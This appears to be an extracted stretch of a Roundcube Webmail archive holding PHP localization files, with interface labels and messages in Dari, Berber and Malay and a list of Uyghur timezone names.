$labels['logoutclear'] = 'Clear Trash on logout';
$labels['logoutcompact'] = 'Compact Inbox on logout';
$labels['uisettings'] = 'محیط کاربر';
$labels['serversettings'] = 'تنظیمات سرور';
$labels['mailboxview'] = 'طرز نمایش صندوق پستی';
$labels['mdnrequests'] = 'آگاهی های ارسال کننده';
$labels['askuser'] = 'از کاربر بپرسید';
$labels['autosend'] = 'پیام را بطور خودکار روان کنید';
$labels['readwhendeleted'] = 'در هنگام حفظ پیام را خوانده شده نشانی کنید';
$labels['flagfordeletion'] = 'Flag the message for deletion instead of delete';
$labels['skipdeleted'] = 'پیام های حذف شده را نمایش ندهید';
$labels['showremoteimages'] = 'Display remote inline images';
$labels['fromknownsenders'] = 'نامه های از آدرس های شناخته شده';
$labels['always'] = 'همیشه';
$labels['showinlineimages'] = 'تصاویر ضمیمه شده را در پایین پیام نشان دهید.';
$labels['autosavedraft'] = 'بصورت خودکار پیش نويس را حفظ کنيد';
$labels['everynminutes'] = 'دقیفه$n هر';
$labels['never'] = 'هیچگاه';
$labels['messagesdisplaying'] = 'نمایش دادن پیام ها';
$labels['messagescomposition'] = 'ایجاد کردن پیام جدید';
$labels['mimeparamfolding'] = 'نام های ضمیمه ها';
$labels['2231folding'] = 'Full RFC 2231 (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'Full RFC 2047 (دیگر ها)';
$labels['advancedoptions'] = 'انتخاب های پیشرفته';
$labels['focusonnewmessage'] = 'فوکس دادن پینجره مرورگر به پیام جدید';
$labels['checkallfolders'] = 'تمام پوشه ها را بخاطر پیام های جدید بررسی کنید';
$labels['allmessages'] = 'تمام پیام ها';
$labels['folder'] = 'پوشه';
$labels['folders'] = 'پوشه ها';
$labels['foldername'] = 'نام پوشه';
$labels['subscribed'] = 'مشترک';
$labels['messagecount'] = 'پيغام ها';
$labels['create'] = 'ایجاد کردن';
$labels['createfolder'] = 'ایجاد پوشه جدید';
$labels['managefolders'] = 'اداره کردن پوشه ها';
$labels['specialfolders'] = 'پوشه های مخصوص';
$labels['sortby'] = 'فهرست کردن توسط';
$labels['sortasc'] = 'فهرست کردن از طرف بالا به پايين';
$labels['sortdesc'] = 'فهرست کردن از طرف پايين به بالا';
$labels['license'] = 'حق نشر';
$labels['B'] = 'بایت';
$labels['KB'] = 'کیلو بایت';
$labels['MB'] = 'میگا بایت';
$labels['GB'] = 'گیگا بایت';
PK
h�\4̜�)�)'program/localization/fa_AF/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'خطا رخ داد';
$messages['loginfailed']  = 'ورود با شکست همراه بود';
$messages['cookiesdisabled'] = 'جستجوگر شما  cookies را قبول نميکند';
$messages['sessionerror'] = 'جلسه شما وجود ندارد و يا هم از زمان معين آن گذشته است';
$messages['storageerror'] = 'وصل شدن به آیمیپ سرور موفق نشد';
$messages['servererror'] = 'خطای سرور!';
$messages['servererrormsg'] = 'خطای سرور: $msg';
$messages['dberror'] = 'خطای پایگاه داده';
$messages['windowopenerror'] = 'پنجره‌ی پاپ‌آپ مسدود شد!';
$messages['requesttimedout'] = 'عدم پاسخگویی در زمان مقرر';
$messages['errorreadonly'] = 'ناتوان از انجام عملیات. پوشه فقط خواندنی ست.';
$messages['errornoperm'] = 'ناتوان از انجام عملیات. مجوز رد شد.';
$messages['erroroverquota'] = 'ناتوان از انجام عملیات. فضای خالی دیسک کافی نیست.';
$messages['erroroverquotadelete'] = 'فضای خالی دیسک کافی نیست. برای پاک کردن پیام‌ها از SHIFT+DEL استفاده کنید.';
$messages['invalidrequest'] = 'درخواست نامعتبر. هیچ داده‌ای ذخیره نشد.';
$messages['invalidhost'] = 'نام سرور نامعتبر است';
$messages['nomessagesfound'] = 'هيچ پيغامی در اين صندوق پستي دريافت نه شد';
$messages['mailboxempty'] = 'میل باکس خالی است';
$messages['nomessages'] = 'پیامی وجود ندارد';
$messages['refreshing'] = 'دوباره سازی....';
$messages['loading'] = 'در حال بارگزاری...';
$messages['uploading'] = 'در حال بارگزاری فایل...';
$messages['attaching'] = 'ضمیمه کردن پرونده ...';
$messages['uploadingmany'] = 'در حال بارگزاری فایل ها...';
$messages['loadingdata'] = 'در حال بارگزاری داده';
$messages['checkingmail'] = 'پيغام های جديد را بررسي ميکند';
$messages['sendingmessage'] = 'پيغام ها را ارسال ميکند';
$messages['messagesent'] = 'پیام موفقانه ارسال گردید';
$messages['savingmessage'] = 'در حال ذخیره کردن پیام';
$messages['messagesaved'] = 'پيغام را به پیش نويس حفظ کرد';
$messages['successfullysaved'] = 'حفظ پیام موفقانه صورت گرفت';
$messages['savingresponse'] = 'ذخیره کردن متن پاسخ ...';
$messages['deleteresponseconfirm'] = 'آیا واقعاً می‌خواهید این متن پاسخ را حذف کنید؟';
$messages['addedsuccessfully'] = 'آدرس بصورت مکمل در کتاب ادرس علاوه شد';
$messages['contactnameexists'] = 'یک محتوا با نام مشابه وجود دارد.';
$messages['blockedimages'] = 'برای حفظ استقلال پيغام شما، تصاویر اجنبی این پیام بلاک شده اند';
$messages['encryptedmessage'] = 'اين يک پيغام مخفي است و اشکار شده نميتواند   معذرت ميخواهيم';
$messages['externalmessagedecryption'] = 'این یک پیام رمزگذاری شده است و می‌توانید با استفاده از افزونه مرورگر خود آن را رمزگشائی کنید.';
$messages['nopubkeyfor'] = 'کلید عمومی معتبری برای $email پیدا نشد.';
$messages['nocontactsfound'] = 'هيچ آدرسی دريافت نه شد';
$messages['contactnotfound'] = 'آدرس خواسته شده دريافت نه شد';
$messages['sendingfailed'] = 'فرستادن پيغام موفق نه شد';
$messages['senttooquickly'] = 'ثانیه منتظر باشید$secلطفا مدت  قبل از ارسال این پیام';
$messages['errormoving'] = 'پيغام نقل مکان شده نتوانست';
$messages['errorcopying'] = 'امکان کپی پیام (ها) وجود ندارد';
$messages['errordeleting'] = 'پيغام حذف شده نتوانست';
$messages['errormarking'] = 'امکان انتخاب پیام (ها) وجود ندارد';
$messages['deletecontactconfirm']  = 'آيا واقعاً شما ميخواهيد که آدرس های انتخاب شده را حذف کنيد؟';
$messages['deletegroupconfirm']  = 'آیا واقعاً می‌خواهید گروه انتخاب شده حذف شود؟';
$messages['deletemessagesconfirm'] = 'آيا واقعاً شما ميخواهيد که پيغام هاي انتخاب شده را حذف کنيد؟';
$messages['deletefolderconfirm']  = 'آيا واقعاً شما ميخواهيد که اين پوشه را حذف کنيد؟';
$messages['purgefolderconfirm']  = 'آيا واقعاً شما ميخواهيد  تمام پيغام های که  در اين پوشه وجود دارد حذف کنيد؟';
$messages['contactdeleting'] = 'در حال حذف کانتکت(ها)...';
$messages['groupdeleting'] = 'در حال حذف گروه...';
$messages['folderdeleting'] = 'در حال حذف پوشه';
$messages['foldermoving'] = 'در حال انتقال پوشه';
$messages['foldersubscribing'] = 'در حال عضویت در فولدر...';
$messages['folderunsubscribing'] = 'لغو اشتراک پوشه ...';
$messages['formincomplete'] = 'فورمه بصورت مکمل خانه پري نه شده است';
$messages['noemailwarning'] = 'لطفاً يک ايميل ادرس موجود را داخل کنيد';
$messages['nonamewarning']  = 'لطفاً يک نام وارد کنيد';
$messages['nopagesizewarning'] = 'لطفاً اندازه يک صفحه را داخل کنيد';
$messages['norecipientwarning'] = 'لطفاً کم از کم يک آدرس گيرينده را نوشته / داخل کنيد';
$messages['nosubjectwarning']  = 'بخش مضمون خالي است  آیا میخواهید که حالا یکی آنها را درج نمایید؟.';
$messages['nobodywarning'] = 'اين پيغام را بدون متن بفرستیم؟';
$messages['nosearchname'] = 'لطفاً يک نام تماس و يا هم يک ايميل ادرس را داخل کنيد';
$messages['searchsuccessful'] = '$nr پیام یافت شد';
$messages['contactsearchsuccessful'] = '$nr حساب کاربری یافت شد';
$messages['searchnomatch'] = 'جستجو گر موفق به دریافت هیچ گونه اثری نشد';
$messages['searching'] = 'در حال جستجو..';
$messages['checking'] = 'در حال بررسی';
$messages['stillsearching'] = 'در حال جستجو...';
$messages['nospellerrors'] = 'هيچ اشتباه املايي را دريافت نه کرد';
$messages['folderdeleted'] = 'پوشه موفقانه از بين رفت/ حذف گرديد';
$messages['foldersubscribed'] = 'پوشه با موفقیت مشترک شد.';
$messages['folderunsubscribed'] = 'پوشه با موفقیت لغو اشتراک شد.';
$messages['deletedsuccessfully'] = 'با موفقیت حذف شد';
$messages['converting'] = 'در حال پاک کردن ساختار';
$messages['messageopenerror'] = 'پيغام از سرور جريان کرده نتوانست';
$messages['filelinkerror'] = 'ضمیمه کردن پرونده شکست خورد.';
$messages['fileuploaderror'] = 'بارگزاری فايل با خطا مواجه شد.';
$messages['filesizeerror'] = 'تثبیت شده میباشد$size حجم فایل آپلود شده بیشتر از حجم کلی';
$messages['copysuccess'] = 'محتوای $nr با موفقیت کپی شد.';
$messages['sourceisreadonly'] = 'اجازه نمامه کود / منبع این آدرس قفط خواندنی است';
$messages['errorsavingcontact'] = 'ادرس این پیام را حفظکرده نتوانست';
$messages['movingmessage'] = 'ذر حال انتقال پیام...';
$messages['markingmessage'] = 'در حال نشانه گذاری پیغام(ها)...';
$messages['receiptsent'] = 'یک رسید برای ارسال کننده این پیام فرستاده شد.';
$messages['errorsendingreceipt'] = 'رسيد ارسال شده نتوانست';
$messages['nodeletelastidentity'] = 'شما این شناخت نامه را حذف کرده نمیتوانید. این آخرین شناخت نامه شما است.';
$messages['forbiddencharacter'] = 'نام پوشه دارای یک کرکتر ممنوعه است.';
$messages['selectimportfile'] = 'لطفاً یک فایل را برای آپلود کردن انتخاب نمایید.';
$messages['addresswriterror'] = 'کتابچه آدرس انتخاب شده دارای اجازه نامه نوشتاری نیست.';
$messages['importwait'] = 'در حال وارد کردن لطفا صبر کنید.';
$messages['importconfirm'] = '<b>Successfully imported $inserted contacts, $skipped existing entries skipped</b>:<p><em>$names</em></p>';
$messages['opnotpermitted'] = 'اجازه این عملکرد را ندارید';
$messages['smtperror'] = 'خطای SMTP: $msg';
$messages['contactrestored'] = 'دفتر نشانی(ها) با موفقیت بازیابی شد.';
$messages['groupdeleted'] = 'گروه با موفقیت حذف شد.';
$messages['grouprenamed'] = 'تغییر نام گروه با موفقیت انجام شد.';
$messages['groupcreated'] = 'گروه با موفقیت ایجاد شد';
$messages['messagedeleted'] = 'پیام(ها) با موفقیت حذف شدند.';
$messages['messagemoved'] = 'پیام(ها) با موفقیت منتقل شدند.';
$messages['messagecopied'] = 'پیام(ها) با موفقیت کپی شدند.';
$messages['messagemarked'] = 'پیام(ها) با موفقیت نشانه گذاری شدند.';
$messages['namecannotbeempty'] = 'نام نمی تواند خالی باشد.';
$messages['nametoolong'] = 'نام بسیار طولانی است.';
PK
h�\��6#program/localization/ber/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | localization//labels.inc                                         |
 |                                                                       |
 | Language file of the Roundcube Webmail client                         |
 | Copyright (C) 2012, The Roundcube Dev Team                            |
 | Licensed under the GNU General Public License                         |
 |                                                                       |
 +-----------------------------------------------------------------------+
 | Author: Madghis <mbuzakhar@armas.ly>                                  |
 +-----------------------------------------------------------------------+
*/

$labels['username'] = 'Izwel n';

PK
h�\�es�++%program/localization/ms_MY/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Selamat datang ke $product';
$labels['username'] = 'Nama Pengguna';
$labels['password'] = 'Katalaluan';
$labels['server'] = 'Pelayan';
$labels['login'] = 'Log Masuk';
$labels['logout'] = 'Log Keluar';
$labels['mail'] = 'Mel';
$labels['settings'] = 'Tetapan';
$labels['addressbook'] = 'Buku Alamat';
$labels['inbox'] = 'Peti Masuk';
$labels['drafts'] = 'Draf';
$labels['sent'] = 'Hantar';
$labels['trash'] = 'Tong Sampah';
$labels['junk'] = 'Junk';
$labels['subject'] = 'Subjek';
$labels['from'] = 'Daripada';
$labels['to'] = 'Kepada';
$labels['cc'] = 'Cc';
$labels['bcc'] = 'Bcc';
$labels['replyto'] = 'Balasan Kepada';
$labels['followupto'] = 'Susulan Ke';
$labels['date'] = 'Tarikh';
$labels['size'] = 'Saiz';
$labels['priority'] = 'Prioriti';
$labels['organization'] = 'Organisasi';
$labels['readstatus'] = 'Status baca';
$labels['listoptions'] = 'Senarai pilihan';
$labels['mailboxlist'] = 'Folder';
$labels['messagesfromto'] = 'Mesej $from ke $to dari $count';
$labels['threadsfromto'] = 'Urutan $from ke $to dari $count';
$labels['messagenrof'] = 'Mesej $nr dari $count';
$labels['fromtoshort'] = '$from - $to dari $count';
$labels['copy'] = 'Salin';
$labels['move'] = 'Alih';
$labels['moveto'] = 'Alih ke...';
$labels['download'] = 'Muat Turun';
$labels['filename'] = 'Nama Fail';
$labels['filesize'] = 'Saiz Fail';
$labels['addtoaddressbook'] = 'Tambah ke buku alamat';
$labels['sun'] = 'Aha';
$labels['mon'] = 'Isn';
$labels['tue'] = 'Sel';
$labels['wed'] = 'Rab';
$labels['thu'] = 'Kha';
$labels['fri'] = 'Jum';
$labels['sat'] = 'Sab';
$labels['sunday'] = 'Ahad';
$labels['monday'] = 'Isnin';
$labels['tuesday'] = 'Selasa';
$labels['wednesday'] = 'Rabu';
$labels['thursday'] = 'Khamis';
$labels['friday'] = 'Jumaat';
$labels['saturday'] = 'Sabtu';
$labels['jan'] = 'Jan';
$labels['feb'] = 'Feb';
$labels['mar'] = 'Mac';
$labels['apr'] = 'Apr';
$labels['may'] = 'Mei';
$labels['jun'] = 'Jun';
$labels['jul'] = 'Jul';
$labels['aug'] = 'Ogo';
$labels['sep'] = 'Sep';
$labels['oct'] = 'Okt';
$labels['nov'] = 'Nov';
$labels['dec'] = 'Dis';
$labels['longjan'] = 'Januari';
$labels['longfeb'] = 'Februari';
$labels['longmar'] = 'March';
$labels['longapr'] = 'April';
$labels['longmay'] = 'Mei';
$labels['longjun'] = 'Jun';
$labels['longjul'] = 'Julai';
$labels['longaug'] = 'Ogos';
$labels['longsep'] = 'September';
$labels['longoct'] = 'Oktober';
$labels['longnov'] = 'November';
$labels['longdec'] = 'Disember';
$labels['today'] = 'Hari Ini';
$labels['refresh'] = 'Refresh';
$labels['checkmail'] = 'Semak mesej baru';
$labels['compose'] = 'Karang mesej';
$labels['writenewmessage'] = 'Cipta mesej baru';
$labels['reply'] = 'Balas';
$labels['replytomessage'] = 'Balas mesej';
$labels['replytoallmessage'] = 'Balas kepada penghantar dan semua penerima';
$labels['replyall'] = 'Balas semua';
$labels['replylist'] = 'Senarai balas';
$labels['forward'] = 'Majukan';
$labels['forwardinline'] = 'Majukan dalam mesej';
$labels['forwardattachment'] = 'Majukan sebagai lampiran';
$labels['forwardmessage'] = 'Marakan mesej';
$labels['deletemessage'] = 'Pindah mesej ke sampah';
$labels['movemessagetotrash'] = 'Pindah mesej ke Tong Sampah';
$labels['printmessage'] = 'Cetak mesej ini';
$labels['previousmessage'] = 'Papar mesej sebelumnya';
$labels['firstmessage'] = 'Papar mesej pertama';
$labels['nextmessage'] = 'Papat mesej seterusnya';
$labels['lastmessage'] = 'Papat mesej terakhir';
$labels['backtolist'] = 'Kembali ke senarai mesej';
$labels['viewsource'] = 'Papar sumber';
$labels['mark'] = 'Tanda';
$labels['markmessages'] = 'Tanda mesej';
$labels['markread'] = 'Sebagai Dibaca';
$labels['markunread'] = 'Sebagai Tidak dibaca';
$labels['markflagged'] = 'Seperti  ditanda';
$labels['markunflagged'] = 'Seperti tidak ditanda';
$labels['moreactions'] = 'Tindakan lanjut..';
$labels['more'] = 'Seterusnya';
$labels['back'] = 'Kembali';
$labels['options'] = 'Opsyen';
$labels['select'] = 'Pilih';
$labels['all'] = 'Semua';
$labels['none'] = 'Tiada';
$labels['currpage'] = 'Muka terkini';
$labels['unread'] = 'Belum dibaca';
$labels['flagged'] = 'Ditanda';
$labels['unanswered'] = 'Belum dijawab';
$labels['deleted'] = 'Telah dipadam';
$labels['invert'] = 'Songsangkan';
$labels['filter'] = 'Tapis';
$labels['list'] = 'Senarai';
$labels['threads'] = 'Urutan';
$labels['expand-all'] = 'Buka Semua';
$labels['expand-unread'] = 'Buka yang belum dibaca';
$labels['collapse-all'] = 'Tutup Semua';
$labels['threaded'] = 'Telah urutan';
$labels['autoexpand_threads'] = 'Buka mesej mengikut urutan';
$labels['do_expand'] = 'Kesemua urutan';
$labels['expand_only_unread'] = 'hanya dengan mesej yang belum dibaca';
$labels['fromto'] = 'Daripada/Kepada';
$labels['flag'] = 'Tanda';
$labels['attachment'] = 'Lampiran';
$labels['nonesort'] = 'Tiada';
$labels['sentdate'] = 'Tarikh dihantar';
$labels['arrival'] = 'Tarikh terima';
$labels['asc'] = 'menaik';
$labels['desc'] = 'menurun';
$labels['listcolumns'] = 'Senarai ruang';
$labels['listsorting'] = 'pengisihan ruang';
$labels['listorder'] = 'Urutan pengisihan';
$labels['listmode'] = 'Mod senarai paparan';
$labels['layoutlist'] = 'Senarai';
$labels['folderactions'] = 'Aksi folder';
$labels['compact'] = 'Kompak';
$labels['empty'] = 'Kosong';
$labels['quota'] = 'Penggunaan cakera';
$labels['unknown'] = 'tidak diketahui';
$labels['unlimited'] = 'Tidak terhad';
$labels['quicksearch'] = 'Carian pantas';
$labels['resetsearch'] = 'Set semula carian';
$labels['searchmod'] = 'Pengubah carian';
$labels['msgtext'] = 'Keseluruhan mesej';
$labels['openinextwin'] = 'Buka dalam tetingkap baru';
$labels['emlsave'] = 'Muat-turun (.eml)';
$labels['editasnew'] = 'Ubah seperti baharu';
$labels['sendmessage'] = 'Hantar mesej';
$labels['savemessage'] = 'Simapan sebagai draf';
$labels['addattachment'] = 'Lampir fail';
$labels['charset'] = 'Set aksara';
$labels['editortype'] = 'Jenis Editor';
$labels['returnreceipt'] = 'Penerimaan semula';
$labels['dsn'] = 'Status pemberitahuan penghantaran';
$labels['mailreplyintro'] = 'Pada $date, $sender menulis';
$labels['originalmessage'] = 'Mesej Asal';
$labels['editidents'] = 'Ubah identiti';
$labels['spellcheck'] = 'Eja';
$labels['checkspelling'] = 'Semak ejaan';
$labels['resumeediting'] = 'Sambung pengeditan';
$labels['revertto'] = 'Kembali kepada';
$labels['attach'] = 'Lampirkan';
$labels['attachments'] = 'Lampiran';
$labels['upload'] = 'Muat naik';
$labels['close'] = 'Tutup';
$labels['messageoptions'] = 'Opsyen mesej';
$labels['low'] = 'Rendah';
$labels['lowest'] = 'Paling Rendah';
$labels['normal'] = 'Normal';
$labels['high'] = 'Tinggi';
$labels['highest'] = 'Paling Tinggi';
$labels['nosubject'] = '(tiada subjek)';
$labels['showimages'] = 'Papar imej';
$labels['alwaysshow'] = 'selalu paparkan imej dari $sender';
$labels['isdraft'] = 'Ini adalah draf mesej';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Teks kosong';
$labels['savesentmessagein'] = 'Simpan mesej yang telah dihantar dalam';
$labels['dontsave'] = 'Jangan simpan';
$labels['maxuploadsize'] = 'maksimum saiz fail yang dibenarkan ialah $size';
$labels['addcc'] = 'Tambah Cc';
$labels['addbcc'] = 'Tambah Bcc';
$labels['addreplyto'] = 'Tambah Reply-To';
$labels['addfollowupto'] = 'Tambah Followup-To';
$labels['mdnrequest'] = 'Pengirim mesej ini mahu diberitahu apabila anda membaca mesej ini. Adakah anda ingin memberitahu pengirim?';
$labels['receiptread'] = 'Balas Resip (dibaca)';
$labels['yourmessage'] = 'Ini adalah Resip Balasan untuk mesej anda';
$labels['receiptnote'] = 'Perhatian: Resip ini hanya untuk memberitahu yang mesej ini telah dipaparkan di komputer penerima. Tidak ada jaminan yang penerima telah membaca atau memahami kandungan mesej.';
$labels['name'] = 'Nama paparan';
$labels['firstname'] = 'Nama pertama';
$labels['surname'] = 'Nama akhir';
$labels['email'] = 'E-Mel';
$labels['editcontact'] = 'Ubahsuai Kontek';
$labels['edit'] = 'Sunting';
$labels['cancel'] = 'Batal';
$labels['save'] = 'Simpan';
$labels['delete'] = 'Padam';
$labels['deletecontact'] = 'Hapus kontek yang dipilih';
$labels['composeto'] = 'Karang mel kepada';
$labels['contactsfromto'] = 'Kontek $from ke $to dari $count';
$labels['print'] = 'Cetak';
$labels['export'] = 'Eksport';
$labels['previouspage'] = 'Papar set sebelumnya';
$labels['firstpage'] = 'Papar set pertama';
$labels['nextpage'] = 'Papar set seterusnya';
$labels['lastpage'] = 'Papar set akhir';
$labels['groups'] = 'Kumpulan';
$labels['personaladrbook'] = 'Alamat-alamat Peribadi';
$labels['settingsfor'] = 'Tetapan bagi';
$labels['preferences'] = 'Keutamaan';
$labels['userpreferences'] = 'Keutamaan pengguna';
$labels['editpreferences'] = 'Sunting keutamaan pengguna';
$labels['identities'] = 'Identiti';
$labels['preferhtml'] = 'Papar HTML';
$labels['htmlmessage'] = 'Mesej HTML';
$labels['prettydate'] = 'Tarikh-tarikh cantik';
$labels['setdefault'] = 'Tetap asal';
$labels['language'] = 'Bahasa';
$labels['timezone'] = 'Zon Masa';
$labels['pagesize'] = 'Baris setiap muka';
$labels['signature'] = 'Tandatangan';
$labels['dstactive'] = 'Simpanan siang hari';
$labels['htmleditor'] = 'Karang mesej HTML';
$labels['htmlsignature'] = 'Tandatangan HTML';
$labels['previewpane'] = 'Pamer ruang previu';
$labels['logoutclear'] = 'Kosongkan Tong sampah ketika keluar';
$labels['logoutcompact'] = 'Padatkan Inbox ketika keluar';
$labels['uisettings'] = 'Antaramuka Pengguna';
$labels['serversettings'] = 'Konfigurasi Pelayan';
$labels['mailboxview'] = 'Pandangan kotak Mel';
$labels['mdnrequests'] = 'Pemberitahuan Pengirim';
$labels['askuser'] = 'Tanya pengguna';
$labels['autosend'] = 'Hantar automatik';
$labels['readwhendeleted'] = 'Tanda mesej sebagai dibaca ketika hapus';
$labels['flagfordeletion'] = 'Tanda mesej untuk pembuangan (tidak delete terus)';
$labels['autosavedraft'] = 'Simpan draf dengan automatik';
$labels['never'] = 'tidak pernah';
$labels['folder'] = 'Kabinet Fail';
$labels['folders'] = 'Folder';
$labels['foldername'] = 'Nama Kabinet Fail';
$labels['subscribed'] = 'Dilanggan';
$labels['messagecount'] = 'Mesej-mesej';
$labels['create'] = 'Cipta';
$labels['createfolder'] = 'Cipta kabinet fail baru';
$labels['managefolders'] = 'Urus kabinet fail';
$labels['sortby'] = 'Susun dengan';
$labels['sortasc'] = 'Susun menaik';
$labels['sortdesc'] = 'Susun menurun';
PK
h�\�	�'program/localization/ms_MY/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['loginfailed']  = 'Log masuk gagal';
$messages['cookiesdisabled'] = 'Pelayar anda tidak menerima cookies';
$messages['sessionerror'] = 'Sesi anda tidak sah atau telah tamat';
$messages['storageerror'] = 'Sambungan ke pelayan IMAP gagal';
$messages['nomessagesfound'] = 'Tiada mesej dijumpai dalam kotak mel ini';
$messages['loading'] = 'Memuat...';
$messages['loadingdata'] = 'Memuat data...';
$messages['checkingmail'] = 'Menyemak mesej baru...';
$messages['sendingmessage'] = 'Menghantar mesej...';
$messages['messagesent'] = 'Mesej berjaya dihantar';
$messages['savingmessage'] = 'Menyimpan mesej...';
$messages['messagesaved'] = 'Mesej disimpan dalam Draf';
$messages['successfullysaved'] = 'Berjaya disimpan';
$messages['addedsuccessfully'] = 'Kontek berjaya disimpan ke dalam buku alamat';
$messages['blockedimages'] = 'Untuk melindungi kebesasan peribadi anda, imej jauh dihalang dalam mesej ini.';
$messages['encryptedmessage'] = 'Ini adalah mesej yang di\'encrypted\' dan tidak boleh dipamerkan. Maaf!';
$messages['nocontactsfound'] = 'Tiada kontek dijumpai';
$messages['contactnotfound'] = 'Kontek yang diminta tidak dijumpai';
$messages['sendingfailed'] = 'Gagal menghantar mesej';
$messages['errormoving'] = 'Tidak boleh pindah mesej';
$messages['errordeleting'] = 'Tidak boleh hapus mesej';
$messages['deletecontactconfirm']  = 'Adakah anda ingin hapuskan kontek yang dipilih?';
$messages['deletemessagesconfirm'] = 'Adakah anda ingin hapuskan mesej yang dipilih?';
$messages['deletefolderconfirm']  = 'Adakah anda ingin hapuskan kabinet fail ini?';
$messages['purgefolderconfirm']  = 'Adakah anda ingin hapuskan semua mesej dalam kabinet fail ini?';
$messages['formincomplete'] = 'Borang tidak diisi dengan lengkap';
$messages['noemailwarning'] = 'Sila masukkan alamat emel yang sah';
$messages['nonamewarning']  = 'Sila masukkan nama';
$messages['nopagesizewarning'] = 'Sila masukkan saiz halaman';
$messages['norecipientwarning'] = 'Sila masukkan sekurang-kurangnya satu penerima';
$messages['nosubjectwarning']  = 'Ruang "Subjek" kosong. Adakah anda ingin masukkannya sekarang?';
$messages['nobodywarning'] = 'Hantar mesej ini tanpa teks?';
$messages['nosearchname'] = 'Sila masukkan nama kontek atau alamat emel';
$messages['searchsuccessful'] = '$nr mesej dijumpai';
$messages['searchnomatch'] = 'Carian tiada padanan';
$messages['searching'] = 'Menggelintar...';
$messages['checking'] = 'Menyemak...';
$messages['nospellerrors'] = 'Tiada kesalah ejaan dijumpai';
$messages['folderdeleted'] = 'Kabinet fail berjaya dihapuskan';
$messages['deletedsuccessfully'] = 'Berjaya dihapuskan';
$messages['converting'] = 'Singkir format dari mesej...';
$messages['messageopenerror'] = 'Tidak boleh muat mesej dari server';
$messages['fileuploaderror'] = 'Muatnaik fail gagal';
$messages['filesizeerror'] = 'Fail yang dimuatnaik melampaui saiz maksima $size';
$messages['sourceisreadonly'] = 'Sumber alamat ini adalah untuk bacaan sahaja';
$messages['errorsavingcontact'] = 'Tidak boleh simmpan alamat kontek';
$messages['movingmessage'] = 'Memindah mesej...';
$messages['receiptsent'] = 'Berjaya menghantar resip bacaan';
$messages['errorsendingreceipt'] = 'Tidak dapat menghantar resip';
$messages['nodeletelastidentity'] = 'Anda tidak boleh membuang identiti ini, ia milik anda yang terakhir.';
PK
h�\��7�[�[%program/localization/ug/timezones.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/timezones/
*/

$labels['tz:utc'] = 'ئۇ ت س';
$labels['tz:africa'] = 'ئافرىقا';
$labels['tz:africa:abidjan'] = 'ئابىدجان';
$labels['tz:africa:accra'] = 'ئاككىرا';
$labels['tz:africa:addis_ababa'] = 'ئاددىس ئابابا';
$labels['tz:africa:algiers'] = 'ئالجىر';
$labels['tz:africa:asmara'] = 'ئاسمارا';
$labels['tz:africa:bamako'] = 'باماكو';
$labels['tz:africa:bangui'] = 'بانگى';
$labels['tz:africa:banjul'] = 'بانجۇل';
$labels['tz:africa:bissau'] = 'بىسساۋ';
$labels['tz:africa:blantyre'] = 'بلانتىر';
$labels['tz:africa:brazzaville'] = 'برادزاۋىل';
$labels['tz:africa:bujumbura'] = 'بۇجۇمبۇرا';
$labels['tz:africa:cairo'] = 'قاھىرە';
$labels['tz:africa:casablanca'] = 'كاسابىلانكا';
$labels['tz:africa:ceuta'] = 'چۇتا';
$labels['tz:africa:conakry'] = 'كوناكرى';
$labels['tz:africa:dakar'] = 'داقار';
$labels['tz:africa:dar_es_salaam'] = 'دارېسسالام';
$labels['tz:africa:djibouti'] = 'جىبوتى';
$labels['tz:africa:douala'] = 'دۇئالا';
$labels['tz:africa:el_aaiun'] = 'ئال ئايۇن';
$labels['tz:africa:freetown'] = 'فرىتاۋىن';
$labels['tz:africa:gaborone'] = 'گابورون';
$labels['tz:africa:harare'] = 'ھارارە';
$labels['tz:africa:johannesburg'] = 'جوھانىسبۇرگ';
$labels['tz:africa:juba'] = 'جۇبا';
$labels['tz:africa:kampala'] = 'كامپالا';
$labels['tz:africa:khartoum'] = 'قارتۇم';
$labels['tz:africa:kigali'] = 'قىغالى';
$labels['tz:africa:kinshasa'] = 'كىنشاسا';
$labels['tz:africa:lagos'] = 'لاگوس';
$labels['tz:africa:libreville'] = 'لىبرېۋىل';
$labels['tz:africa:lome'] = 'لومې';
$labels['tz:africa:luanda'] = 'لۇئاندا';
$labels['tz:africa:lubumbashi'] = 'لۇبۇمباشى';
$labels['tz:africa:lusaka'] = 'لۇساكا';
$labels['tz:africa:malabo'] = 'مالابو';
$labels['tz:africa:maputo'] = 'ماپۇتو';
$labels['tz:africa:maseru'] = 'ماسېرۇ';
$labels['tz:africa:mbabane'] = 'بابانە';
$labels['tz:africa:mogadishu'] = 'موغادىشۇ';
$labels['tz:africa:monrovia'] = 'مونراۋىيە';
$labels['tz:africa:nairobi'] = 'نايروبى';
